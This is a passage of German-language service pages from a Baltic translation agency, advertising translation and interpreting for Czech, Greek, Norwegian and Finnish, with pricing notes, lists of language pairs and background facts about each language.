Lehnwörter werden in der Regel nach den Regeln der tschechischen Grammatik angepasst. Adjektive haben drei Komparativformen. Interessanterweise wird der Superlativ auch verwendet, um einen niedrigeren Grad einer bestimmten Qualität anzugeben. In der tschechischen Sprache wird stets die erste Silbe des Wortes betont. Jede ungerade Silbe in mehrsilbigen Wörtern erhält eine zweite Betonung. In einigen Ausnahmefällen gibt es keine Betonung: Kurzformen von Personalpronomen und alle Formen des Hilfsverbs "sein". Sprecher der tschechischen und der slowakischen Sprache haben keine Schwierigkeiten, sich zu verständigen, da sich die beiden Sprachen sehr ähnlich sind. Sprachcode: ISO 639-1: cs UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Tschechisch; Tschechisch nach Lettisch; Estnisch nach Tschechisch; Tschechisch nach Estnisch; Litauisch nach Tschechisch; Tschechisch nach Litauisch; Russisch nach Tschechisch; Tschechisch nach Russisch; Polnisch nach Tschechisch; Tschechisch nach Polnisch; Ukrainisch nach Tschechisch; Tschechisch nach Ukrainisch; Englisch nach Tschechisch; Tschechisch nach Englisch; Tschechisch nach Spanisch; Spanisch nach Tschechisch; Deutsch nach Tschechisch; Tschechisch ins Deutsche; Italienisch nach Tschechisch; Tschechisch nach Italienisch; Französisch nach Tschechisch; Tschechisch nach Französisch; Dänisch nach Tschechisch; Tschechisch nach Dänisch; Norwegisch nach Tschechisch; Tschechisch nach Norwegisch; Schwedisch nach Tschechisch; Tschechisch nach Schwedisch; Finnisch nach Tschechisch; Tschechisch nach Finnisch und andere. UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Tschechisch; Tschechisch nach Lettisch; Estnisch nach Tschechisch; Tschechisch nach Estnisch; Litauisch nach Tschechisch; Tschechisch nach Litauisch; Russisch nach Tschechisch; Tschechisch nach Russisch; Polnisch nach Tschechisch; Tschechisch nach Polnisch; Ukrainisch nach Tschechisch; Tschechisch nach Ukrainisch; Englisch nach Tschechisch; Tschechisch nach Englisch; Tschechisch nach SpanischSpanisch nach Tschechisch; Deutsch nach Tschechisch; Tschechisch ins Deutsche; Italienisch nach Tschechisch; Tschechisch nach Italienisch; Französisch nach Tschechisch; Tschechisch nach Französisch; Dänisch nach Tschechisch; Tschechisch nach Dänisch; Norwegisch nach Tschechisch; Tschechisch nach Norwegisch; Schwedisch nach Tschechisch; Tschechisch nach Schwedisch; Finnisch nach Tschechisch; Tschechisch nach Finnisch und andere. --- > Fachspezifische und allgemeine Übersetzungen in griechischer Sprache. Dolmetscherdienste und andere Dienstleistungen für die griechische Sprache. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS GRIECHISCHE WIE VIEL KOSTET EINE ÜBERSETZUNG INS GRIECHISCHE? Ja, natürlich. Die Preisliste für die schriftliche Übersetzung, das Dolmetschen (konsekutiv und simultan), die Lokalisierung und die Adaption ins und aus dem Griechischen ist ein fester Bestandteil unseres Kundenvertrags. Die Projektmanager von Skrivanek Baltic unterbreiten vor Auftragsbeginn stets einen Kostenvoranschlag. Innerhalb von 30 Minuten bekommen Sie ein Preisangebot. Bei der Preiskalkulation für schriftliche Aufträge werden die Anzahl der Wörter und Wiederholungen im Originaltext, die Komplexität der grafischen Elemente und andere Aspekte berücksichtigt. Um ein Preisangebot zu erhalten, senden Sie uns Ihr Material an unsere E-Mail. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Griechische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in griechischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie nach Sprachdienstleistungen auf Griechisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! WISSENSWERTES ÜBER DIE GRIECHISCHE SPRACHE Griechisch gehört zur indoeuropäischen Sprachfamilie und wird oft als die erste Sprache der europäischen Zivilisation bezeichnet. Heute gibt es weltweit etwa 15 Millionen Sprecher dieser Sprache. Sie ist Amtssprache in Zypern und Griechenland, wird aber auch in Albanien, dem Vereinigten Königreich, Armenien, den USA, Bulgarien, Südafrika, Ägypten, Frankreich, Georgien, Italien, Jordanien, Kasachstan, Russland, Mazedonien, Rumänien, Spanien und der Ukraine gesprochen. In der Geschichte hat sich das Griechische mehrfach weiterentwickelt: Urgriechisch, Mykenisches Griechisch, Altgriechisch, Koiné, Mittelgriechisch und Neugriechisch. Die ältesten schriftlichen Zeugnisse auf Tontafeln sind aus der urgriechischen Zeit und konnten nur teilweise entziffert werden. Die bedeutendsten literarischen Meisterwerke dieser Epoche sind die homerischen Epen wie die Ilias und die Odyssee, die etwa im 9. bis 8. Jahrhundert v. Chr. entstanden. Die mykenische Phase Griechenlands fällt mit dem Zeitalter der mykenischen Zivilisation zusammen. Einige Schriften stammen aus dem 15. bis 14. Jahrhundert vor Christus. Altgriechisch war die Sprache des antiken Griechenlands. Die Dialekte des Altgriechischen vermischten sich mit der Zeit und bildeten das so genannte Koiné, das zur ersten Lingua Franca in den Gebieten von der Ostküste des Mittelmeers bis zum Fernen Osten wurde und die antike Welt vereinte. Es entwickelte sich zunächst in den von Alexander dem Großen eroberten Gebieten, wurde aber nach der hellenischen Kolonisierung von Ägypten bis Indien gesprochen. Nach dem Untergang des antiken Griechenlands war Koiné im römischen und byzantinischen Reich weit verbreitet. Das aus der phönizischen Schrift hervorgegangene griechische Alphabet, bei der jeder Buchstabe für einen Laut steht, entwickelte sich etwa im 7. Jahrhundert Ursprünglich wurden die Buchstaben des griechischen Alphabets auch für Zahlen verwendet. Die Umgangssprache entwickelte sich viel schneller als die Schriftsprache. Als Altgriechisch gesprochen wurde, wurden schriftliche Texte noch in Urgriechisch verfasst. Das Neugriechische entstand etwa im 14. Jahrhundert und ist bis heute in Gebrauch. Hier gibt es zwei Sprachvarianten: die Volkssprache (Dimotiki) und die moderne Bildungssprache (Katharevousa). Katharevousa wird in amtlichen Einrichtungen verwendet und ist dem Koiné ähnlich. Das Neugriechische unterscheidet sich deutlich vom Altgriechischen. Sprecher des Neugriechischen können möglicherweise die altgriechische Schrift nicht lesen. Das Urgriechische hat die meisten der heutigen Internationalismen geprägt. Bei der Übertragung griechischer Pronomen ins Lettische werden in der Regel die gleichen Endungen beibehalten, sofern sie auch im Lettischen vorkommen. Zum Beispiel bleibt das griechische Pronomen „Mikis“ im Lettischen gleich. Sprachcodes: ISO 639-1: el UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜR DIE GRIECHISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Griechisch; Griechisch nach Lettisch; Estnisch nach Griechisch; Griechisch nach Estnisch; Litauisch nach Griechisch; Griechisch nach Litauisch; Russisch nach Griechisch; Griechisch nach Russisch; Tschechisch nach Griechisch; Griechisch nach Tschechisch; Polnisch nach Griechisch; Griechisch nach Polnisch; Ukrainisch nach Griechisch; Griechisch nach Ukrainisch; Englisch nach Griechisch; Griechisch nach Englisch; Griechisch nach Spanisch; Spanisch nach Griechisch; Deutsch nach Griechisch; Griechisch nach Deutsch; Italienisch nach Griechisch; Griechisch nach Italienisch; Französisch nach Griechisch; Griechisch nach Französisch; Dänisch nach Griechisch; Griechisch nach Dänisch; Norwegisch nach Griechisch; Griechisch nach Norwegisch; Schwedisch nach Griechisch; Griechisch nach Schwedisch; Finnisch nach Griechisch; Griechisch nach Finnisch und andere. UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜR DIE GRIECHISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Griechisch; Griechisch nach Lettisch; Estnisch nach Griechisch; Griechisch nach Estnisch; Litauisch nach Griechisch; Griechisch nach Litauisch; Russisch nach Griechisch; Griechisch nach Russisch; Tschechisch nach Griechisch; Griechisch nach Tschechisch; Polnisch nach Griechisch; Griechisch nach Polnisch; Ukrainisch nach Griechisch; Griechisch nach Ukrainisch; Englisch nach Griechisch; Griechisch nach Englisch; Griechisch nach SpanischSpanisch nach Griechisch; Deutsch nach Griechisch; Griechisch nach Deutsch; Italienisch nach Griechisch; Griechisch nach Italienisch; Französisch nach Griechisch; Griechisch nach Französisch; Dänisch nach Griechisch; Griechisch nach Dänisch; Norwegisch nach Griechisch; Griechisch nach Norwegisch; Schwedisch nach Griechisch; Griechisch nach Schwedisch; Finnisch nach Griechisch; Griechisch nach Finnisch und andere. --- > Allgemeine und fachspezifische Übersetzungen in norwegischer Sprache. Dolmetschen, Lokalisierung und andere Sprachdienstleistungen für die norwegische Sprache. - Published: 2025-01-06 - Modified: 2025-03-25 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS NORWEGISCHE WIE VIEL KOSTET EINE ÜBERSETZUNG INS NORWEGISCHE? Ja, natürlich. Die Preisliste für die Übersetzung, das Dolmetschen (konsekutiv und simultan), die Lokalisierung und die Adaption ins und vom Norwegischen ist ein fester Bestandteil unserer Kundenverträge. Die Projektmanager von Skrivanek Baltic unterbreiten vor Auftragsbeginn stets einen Kostenvoranschlag. Innerhalb von 30 Minuten bekommen Sie ein Preisangebot. Bei der Preiskalkulation für schriftliche Aufträge werden die Anzahl der Wörter und Wiederholungen im Originaltext, die Komplexität der grafischen Elemente und andere Aspekte berücksichtigt. Um ein Preisangebot zu erhalten, senden Sie uns Ihr Material an unsere E-Mail. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Norwegische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Sprachdienstleistungen in norwegischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie nach einer Sprachdienstleistung in Norwegisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! WISSENSWERTES ÜBER DIE NORWEGISCHE SPRACHE Norwegisch gehört zu den nordgermanischen Sprachen im germanischen Sprachzweig der indoeuropäischen Sprachfamilie. Weltweit wird Norwegisch von etwa fünf Millionen Menschen gesprochen: in den USA, Kanada und Norwegen, wo es Amtssprache ist. Norwegisch ist auch eine der Arbeitssprachen des Nordischen Rates. Die moderne norwegische Sprache weist starke Einflüsse ihrer Nachbarsprachen auf. Früher wurde sie von der niederdeutschen und später von der schwedischen Sprache beeinflusst, aber seit dem Mittelalter bis zur Auflösung der Kalmarer Union 1524 sieht man starke dänische Einflüsse. Die drei nordischen Sprachen, Norwegisch, Schwedisch und Dänisch, sind sich sehr ähnlich. Dies ist auf die zahlreichen Grenzänderungen zwischen den Ländern im Laufe der skandinavischen Geschichte zurückzuführen. Die ältesten schriftlichen Artefakte sind Runensteine, die aus dem 10. bis 11. Jahrhundert stammen. Während in anderen Ländern die Veröffentlichung religiöser Schriften die Entwicklung der Landessprache förderte, verstärkte die liturgische Literatur in Norwegen nur den dänischen Einfluss, da die Bibel in dieser Sprache veröffentlicht wurde. Seit dem 19. Jahrhundert gibt es zwei schriftliche Formen des Norwegischen: Bokmål (die „Buchsprache“), die auf der dänischen Lexik und Grammatik und der norwegischen Phonetik basiert und das so genannte „neue Norwegisch“(Nynorsk), das Mitte des 19. Jahrhunderts entstand und eine Verschmelzung der norwegischen Dialekte ist. Nynorsk wurde um 1850 von dem Sprachwissenschaftler Ivar Aasen geschaffen. Vergeblich versuchen Linguisten seit mehreren Jahrzehnten die beiden Schriftsysteme zusammenzuführen. Aus einer 2005 durchgeführten Umfrage geht hervor, dass 86,3 % der Menschen im Alltag hauptsächlich Bokmål verwenden, 5,5 % beides und 13 % das neue Norwegisch, während die Norweger beim Sprechen hauptsächlich Dialekte verwenden, die der neuen norwegischen Sprache am ähnlichsten sind. 92 % der Veröffentlichungen erfolgen in Bokmål, so dass nur 8 % auf Nynorsk erscheinen. Bokmål ist vor allem in Oslo und anderen Großstädten verbreitet, während Nynorsk hauptsächlich im westlichen Teil des Landes verwendet wird. Das Norwegische hat eine Vielzahl von Dialekten, die sich aufgrund geografischer Faktoren herausgebildet haben: Dichte Wälder, Fjorde und das gebirgige Terrain hinderten isolierte Gemeinschaften daran, regelmäßigen Kontakt miteinander zu pflegen. Heutzutage ist das Norwegische durch zahlreiche Entlehnungen aus dem Englischen gekennzeichnet, vor allem in den Bereichen Wirtschaft und Technik. In norwegischen Schulen wurde Englisch 1935 als erste Fremdsprache eingeführt. Nach dem Zweiten Weltkrieg nahm der Einfluss des Englischen erheblich zu. Die Bereiche mit den meisten Lehnwörtern sind Wirtschaft, Finanzen und Business. Es gibt auch viele Mischwörter, bei denen der erste Teil aus dem Englischen und der zweite Teil aus dem Norwegischen stammt. Schätzungsweise 90 % der Neologismen sind von der englischen Sprache beeinflusst. Die norwegische Satzstruktur ist streng gegliedert - jeder Teil des Satzes hat seinen eigenen festen Platz. Nomen haben nur zwei Fälle, während Verben keine persönlichen Endungen haben. Die Sprache verwendet Artikel. Das norwegische Alphabet ist das gleiche wie das dänische. Es besteht aus 29 Buchstaben, darunter 23 Buchstaben des lateinischen Alphabets sowie J, W, U, Æ, Ø und Å. Sprachcode: ISO 639-1: no UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN FÜR DIE NORWEGISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Norwegisch; Norwegisch nach Lettisch; Estnisch nach Norwegisch; Norwegisch nach Estnisch; Litauisch nach Norwegisch; Norwegisch nach Litauisch; Russisch nach Norwegisch; Norwegisch nach Russisch; Polnisch nach Norwegisch; Norwegisch nach Polnisch; Ukrainisch zu Norwegisch; Norwegisch nach Ukrainisch; Englisch nach Norwegisch; Norwegisch nach Englisch; Norwegisch nach Spanisch; Spanisch nach Norwegisch; Deutsch nach Norwegisch; Norwegisch nach Deutsch; Italienisch nach Norwegisch; Norwegisch nach Italienisch; Französisch nach Norwegisch; Norwegisch nach Französisch; Dänisch nach Norwegisch; Norwegisch nach Dänisch; Tschechisch nach Norwegisch; Norwegisch nach Tschechisch; Schwedisch nach Norwegisch; Norwegisch nach Schwedisch; Finnisch nach Norwegisch; Norwegisch nach Finnisch und andere. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN FÜR DIE NORWEGISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Norwegisch; Norwegisch nach Lettisch; Estnisch nach Norwegisch; Norwegisch nach Estnisch; Litauisch nach Norwegisch; Norwegisch nach Litauisch; Russisch nach Norwegisch; Norwegisch nach Russisch; Polnisch nach Norwegisch; Norwegisch nach Polnisch; Ukrainisch zu Norwegisch; Norwegisch nach Ukrainisch; Englisch nach Norwegisch; Norwegisch nach Englisch; Norwegisch nach SpanischSpanisch nach Norwegisch; Deutsch nach Norwegisch; Norwegisch nach Deutsch; Italienisch nach Norwegisch; Norwegisch nach Italienisch; Französisch nach Norwegisch; Norwegisch nach Französisch; Dänisch nach Norwegisch; Norwegisch nach Dänisch; Tschechisch nach Norwegisch; Norwegisch nach Tschechisch; Schwedisch nach Norwegisch; Norwegisch nach Schwedisch; Finnisch nach Norwegisch; Norwegisch nach Finnisch und andere. --- > Allgemeine und fachspezifische Übersetzungen in finnischer Sprache. Dolmetscherdienste und individueller Sprachunterricht in finnischer Sprache. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS FINNISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS FINNISCHE? Die Kosten für die Übersetzung vom und ins Finnische variieren von Auftrag zu Auftrag. Für die Preiskalkulation werden verschiedene auftragsspezifische Faktoren berücksichtigt, z. B. richtet sich der Preis für mündliche sequentielle und simultane Übersetzungen nach der Zeit der Leistungserbringung, dem Veranstaltungsort, den Reisekosten und dem Tagessatz. Bei der Simultanübersetzung werden die Kosten für die technische Unterstützung je nach Anzahl der Teilnehmer an der Veranstaltung usw. zusätzlich berechnet. Der Preis für schriftliche Übersetzungen setzt sich zusammen aus dem Umfang und der Lesbarkeit des übersetzten Materials, dem Abgabetermin der Übersetzung, der Komplexität der Fachterminologie, den Textwiederholungen, der Formatierung und der Komplexität der Bilder und Grafiken, der Korrektur sowie den vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE? Ja, die Preisliste für Übersetzungen und Dolmetschen (Simultan-, Flüster-, Gerichts- und Konsekutivdolmetschen) vom und ins Finnische ist fester Bestandteil unserer Kundenverträge. Die Projektmanager des baltischen Übersetzungsbüros Skrivanek bereiten jedes Mal vor Beginn eines Übersetzungsauftrages einen detaillierten Kostenvoranschlag vor. Der Preis für jede Bestellung wird individuell auf der Grundlage der Skrivanek Baltic-Preisliste festgelegt. Das Preisangebot wird in etwa 30 Minuten erstellt. Um ein Preisangebot zu erhalten, senden Sie uns bitte Ihr zu übersetzendes Material und unsere Projektmanager werden sich mit Ihnen in Verbindung setzen, um Ihnen die passende Dienstleistung zu unterbreiten. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Finnische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in finnischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie nach einer Sprachdienstleistung auf Finnisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiert Unsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99 % der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE FINNISCHE SPRACHE Finnisch ist neben Schwedisch eine der beiden Amtssprachen der Republik Finnland. Der Status als Amtssprache ist in der 1999 erneuerten Verfassung Finnlands(Suomen perustuslaki) und im neuen Sprachengesetz(Kielilaki) verankert, das 2003 ausgearbeitet wurde und 2004 in Kraft trat. Seit 1995 ist Finnisch eine der Amtssprachen der Europäischen Union. Sie wird in allen soziolinguistischen Bereichen verwendet, z. B. in der Regierung, im Bildungswesen, in der Kultur, in den Massenmedien usw. Der Sprachgebrauch wird auch durch andere Gesetze und Verordnungen geregelt, z. B. durch die Regierungsverordnung über den sprachlichen Status der Gemeinden(Valtioneuvoston asetus virka- ja itsehallintoalueiden kielellisestä jaotuksesta), das Gesetz über die erforderlichen Sprachkenntnisse von Mitarbeitern öffentlicher Einrichtungen(Kielitaitolaki), das Kirchengesetz(Kirkkolaki)das Hochschulgesetz (Yliopistolaki), usw. Die Pflege und Forschung der finnischen Sprache sowie die Grammatik und die Veröffentlichung von Wörterbüchern und anderem Informationsmaterial werden vom Institut für die Sprachen Finnlands(Kotimaisten kielten keskus) koordiniert, das dem finnischen Ministerium für Bildung und Kultur(Opetus- ja kulttuuriministeriö) unterstellt ist. Finnische Gebärdensprache ist die Muttersprache von 4000 bis 5000 gehörlosen Finnen. Darüber hinaus gebärden 6000 bis 9000 Finnen ohne Behinderung muttersprachlich oder als zweite Sprache. Die finnische Gebärdensprache ist von der schwedischen Gebärdensprache abgeleitet. Heutzutage wird auch die Finnlandschwedische Gebärdensprache verwendet, die derzeit als eine gefährdete Gebärdensprache gilt. Derzeit gibt es nur 90 finnlandschwedische Gebärdensprachler, die meisten von ihnen ältere Menschen, die die einzige schwedische Schule für Gehörlose in Finnland besucht haben. Diese Schule wurde 1993 geschlossen. Eine hoch entwickelte Form der lokalen Umgangssprache ist der Helsinki-Slang(Stadin slangi). Er entstand an der Wende vom 19. zum 20. Jahrhundert, als immer mehr finnischsprachige Einwohner nach Helsinki kamen, wo die damalige dominierende Sprache Schwedisch war. Der Helsinki-Slang weist sowohl spezifische phonetische und grammatikalische Merkmale als auch ein umfangreiches Vokabular auf, das zu verschiedenen Epochen von verschiedenen Fremdsprachen beeinflusst wurde - zunächst vom Schwedischen und Russischen, später auch vom Englischen. Heutzutage hat er sich von einer Umgangssprache in einen Slang verwandelt, der hauptsächlich von Jugendlichen gesprochen wird. Die meisten Menschen denken, dass die Kaffeeländer Europas Italien oder Frankreich sind. Aber nein, es sind die Finnen, die pro Kopf nicht nur in Europa sondern auch weltweit am meisten Kaffe konsumieren. Im Durchschnitt trinken die Finnen etwa 12 Kilogramm Kaffee pro Jahr. In Finnland ist es normal, acht Tassen Kaffee pro Tag zu trinken. Das berühmte HandyspielAngry Birds war vor allem in Finnland populär. Der Entwickler des Spiels, Rovio Entertainment, der 2003 von Studenten der Technischen Universität Helsinki gegründet wurde, ist seit 2017 ein börsennotiertes Unternehmen mit einem Nettovermögen von 1 Milliarde US-Dollar. Finnland wird seit vielen Jahren als das glücklichste Land der Welt bezeichnet. Finnland hat ein erstaunliches Sozialhilfesystem, das das Wohlergehen der finnischen Bürger unterstützt. In diesem Rahmen macht der finnische Staat jeder werdenden Mutter ein einzigartiges Geschenk: eine Mutterschaftsbox oder die so genannte Babybox. Sie kann als erste Anlaufstelle für frischgebackene Eltern betrachtet werden, da sie verschiedene nützliche Artikel anbietet, angefangen bei Babyprodukten bis hin zu Kleidung. Außerdem kann die Babybox auch als Bett verwendet werden. Babyboxen zu verschenken ist in Finnland eine mehr als 80 Jahre alte Tradition. Und wie könnte man die Sauna vergessen! Es ist das einzige finnische Wort, das von allen Menschen auf der Welt verstanden wird. Es gibt mehr als 2 Millionen Saunen im Land, was beeindruckend ist, vor allem wenn man bedenkt, dass Finnland nur 5,5 Millionen Einwohner hat! Die Sauna ist für Finnen sehr wichtig. Es ist ein wunderbarer Ort, um Körper und Geist zu reinigen, sich zu entspannen und den Moment zu genießen, aber auch, um neue Leute kennenzulernen und Kontakte zu knüpfen. Darüber hinaus hat die Forschung gezeigt, dass regelmäßige Saunabesuche (am besten mehrmals pro Woche) viele gesundheitliche Vorteile mit sich bringen, darunter ein geringeres Risiko für Herzinfarkte und Demenz. So gehen die Finnen regelmäßig zu Hause, im Fitnessstudio oder am Arbeitsplatz in die Sauna. Saunen findet man in Finnland an unerwarteten Orten, z. B. in Studentenwohnheimen und auch in staatlichen Einrichtungen. Im Dezember 2020 wurden die finnischen Saunatraditionen in die Liste des immateriellen UNESCO Kulturerbes aufgenommen. Finnisch gilt außerdem als die Lieblingssprache von Heavy Metal Bands. Deswegen wurden viele weltweit bekannte Heavy Metal Bands in Finnland gegründet. Im Jahr 2016 stellte der damalige Präsident der USA, Barack Obama, fest, dass das politische System in Finnland mit seiner Musikszene verbunden ist. „Ich möchte darauf hinweisen, dass Finnland vielleicht weltweit die meisten Heavy Metal Bands pro Kopf hat und gleichzeitig eine lobenswerte Regierungsführung zu Tage legt", sagte Obama. Finnische Bands wie HIM und Apocalyptica sind Lettland weitestgehend bekannt. Am 28. Februar 1835 veröffentlichte der finnische Volkskundler Elias Lönnrot die ersten 32 Gedichte des Epos Kalevala. Insgesamt sind es 50 Lieder oder Gedichte, die erst nach 14 Jahren in einer einzigen Ausgabe veröffentlicht wurden. So nahm eines der berühmtesten Epen der nordischen Völker seinen Lauf - die Legende des mythischen Landes Kalevala. Das Kalevala als Epos verkörpert die umfangreiche Arbeit der finnischen und karelischen Volkskundler und Patrioten. Die Kalevala besteht aus traditionellen finnischen und karelischen Volksliedern in freien Versen. Im 17. und 18. Jahrhundert schrieben die Finnen immer mehr alte Lieder nieder, da die Beliebtheit von neuer Poesie aus Europa immer stärker zunahm. Wegen diesem Einfluss kannten immer weniger Menschen im Süden und Westen Finnlands alte Lieder. Dies war Anlass genug für Volkskundler, sich um eine Zusammenstellung von Volksliedern zu bemühen. Finnland und insbesondere Karelien, das damals zum Russischen Reich gehörte, konnten durch das Bewusstsein der Menschen einen Sinn für nationale Einheit schaffen. Zahlreiche Veröffentlichungen von Volkskundlern ließen hoffen, dass man vielleicht ein Buch für Volkslieder zusammenzustellen 